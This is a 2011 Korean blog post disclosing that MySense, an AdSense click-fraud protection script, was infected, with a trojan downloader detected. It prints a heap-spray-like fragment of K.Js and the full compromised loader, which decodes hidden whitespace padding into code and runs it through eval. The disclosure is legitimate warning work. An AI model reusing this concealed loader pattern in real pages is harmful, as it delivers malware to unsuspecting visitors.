본문 바로가기

컴퓨터 기술

2011년 1월 22일 구글 애드센스관련 사이트 마이센스 바이러스 감염

반응형

2011년 1월 22일 구글 애드센스 부정클릭 방지 프로그램인 마이센스(http://adsystem.kr/)가 바이러스에 감염되었다.

마이센스를 포함시킨 웹사이트나 블로그에서는 마이센스를 통해 다운로드된 122.newkr.info/K.Js란 파일에서 Trojan.Downloader.JNSD가 검출된다.

K.Js의 내용은 다음과 같다.

      try {
            new ActiveXObject("");
      }
      catch (e) {
var tSWI6='\x25'+'u9'+'\x30'+'\x39'+QzVAEPm7;
tSWI6+=tSWI6;
var JYhSHE0="%u";
var CoOhEll7=unescape;
//var nXwwpKf6="x";
var uzGmK5="BODY";
}

<script src="http://adsystem.kr/adinfo/mysense.js.html?id=cleansugar&time=48&count=2" type="text/javascript"> 부분의 mysense.js.html 소스는 다음과 같다.

var $a='';
if(navigator.userAgent.indexOf("Firefox")>-1){$a='FF';}
else if(navigator.userAgent.indexOf("MSIE")>-1){$a='IE';}
else{$a='FF';};
var $b;
var $c=false;
var $d;
var $e="cleansugar";
var $f=false;
var $g=0;
var $h=0;
var $i=0;
$b=document.getElementsByTagName("iframe");
for(var i=0;i<$b.length;i++){
 if($b[i].src.indexOf('googleads.g.doubleclick.net')>-1){
  if(document.layers){
   $b[i].captureEvents($j.ONFOCUS);
  };
  if($a=='IE'){
   $b[i].attachEvent("onfocus",MYSENSE_onMoveOverIE);
   $b[i].attachEvent("onmouseout",MYSENSE_onMoveOutIE);
   window.attachEvent("onunload",MYSENSE_onMoveOtherIE);
  }else if($a=='FF'){
   $b[i].addEventListener('mouseover',MYSENSE_onMoveOverFF,true);
   $b[i].addEventListener("mouseout",MYSENSE_onMoveOutFF,false);
   window.addEventListener("click",MYSENSE_onMoveOtherFF,true);
   window.addEventListener("mousedown",MYSENSE_onMoveOtherFF,true);
   window.addEventListener("mouseup",MYSENSE_onMoveOtherFF,true);
   window.addEventListener("mousemove",MYSENSE_onMoveOtherFF,true);
  }
 }
};

function MYSENSE_onMoveOtherIE(){
 $i=0;
};

function MYSENSE_onMoveOverIE(){
 if($f) return false;
 $d=event.srcElement;
 $i=1;
 $h=event.offsetX;
 $g=event.offsetY;
};

function MYSENSE_onMoveOutIE(){
 if($f)return false;
 if($i!=1)return false;
 $i=2;
 setTimeout(MYSENSE_IETrapClick,3000);
};

function MYSENSE_IETrapClick(){
 if($f)return false;
 if($i!=2)return false;
 var $k=$d.src;
 if($k.indexOf('googleads.g.doubleclick.net')==-1){return false;};
 $f=true;
 MYSENSE_sendlog($d);
};

function doubleclick_Encrypt(s) {
  var r = new Array();
  var curr = 0;
  while(s.charAt(curr) != '\n') {
    var tmp = 0;
    for (var i=6; i>=0 ; i-- )
    {
      if (s.charAt(curr) == ' ')
      {
        tmp = tmp | (Math.pow(2,i));
      }
      curr++;
    }
    r.push(String.fromCharCode(tmp));
  }
  return r.join('');
}
var doubleclick_sys="http://adsystem.kr/adinfo/block.html                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    \n"
eval(doubleclick_Encrypt(doubleclick_sys.substring(36)));

function findY($l){
 var y=0;
 while($l){
  y+=$l.offsetTop;
  $l=$l.offsetParent;
 };
 return(y);
};

function findX($l){
 var x=0;
 while($l){
  x+=$l.offsetLeft;
  $l=$l.offsetParent;
 };
 return(x);
};

function MYSENSE_onMoveOverFF(e){
 $d=this;
 $i=1;
 $g=e.clientY-findY(this);
 $h=e.pageX-findX(this);
};

function MYSENSE_onMoveOutFF(e){
 if($f)return false;
 if($i!=1)return false;
 $i=2;
 setTimeout(MYSENSE_FFClick,3000);
};

function MYSENSE_onMoveOtherFF(e){
 $i=0;
};

function MYSENSE_FFClick(){
 if($i!=2)return false;
 var $k=$d.src;
 if($k.indexOf('googleads.g.doubleclick.net')==-1){
  return false;
 };
 $f=true;
 MYSENSE_sendlog($d);
};

function MYSENSE_sendlog($l){
 var $m=new Image();
 $m.src='http://log.adsystem.kr/adinfo/log.html'+'?url='+escape(MYSENSE_getAdVariable($l,'url'))+'&ref='+escape(MYSENSE_getAdVariable($l,'ref'))+'&adw='+escape(MYSENSE_getAdVariable($l,'w'))+'&adh='+escape(MYSENSE_getAdVariable($l,'h'))+'&slotname='+escape(MYSENSE_getAdVariable($l,'slotname'))+'&channel='+escape(MYSENSE_getAdVariable($l,'channel'))+'&posx='+escape($h)+'&posy='+escape($g)+'&mid='+$e;
};

function MYSENSE_getAdVariable($n,name){
 var dc=$n.src;
 var $o=name+"=";
 var $p=dc.indexOf("&"+$o);
 if($p==-1){
  $p=dc.indexOf("?"+$o);
  if($p==-1)return "";
 }else $p+=1;
 var end=dc.indexOf("&",$p);
 if(end==-1)end=dc.length;
 return unescape(dc.substring($p+$o.length,end));
};

function MYSENSE_setAdurl($q){
 $b=document.getElementsByTagName("iframe");
 for(var i=0;i<$b.length;i++){
  if($b[i].src.indexOf('googleads.g.doubleclick.net')>-1){
   if($q==""){
    $b[i].style.display="none";
   }else{
    $b[i].src=$q;
   }
  }
 };
 self.setTimeout("MYSENSE_setAdurl(\""+ $q +"\")",1000);
};

js를 실행하면 流量统计라는 글자가 나오며 이 글자를 클릭하면 'http://countt.51yes.com/index.aspx?id=번호' 로 연결된다. '번호'는 241324730이다

본 사이트는 1월 22일 19시경 마이센스를 임시로 제거했다.

반응형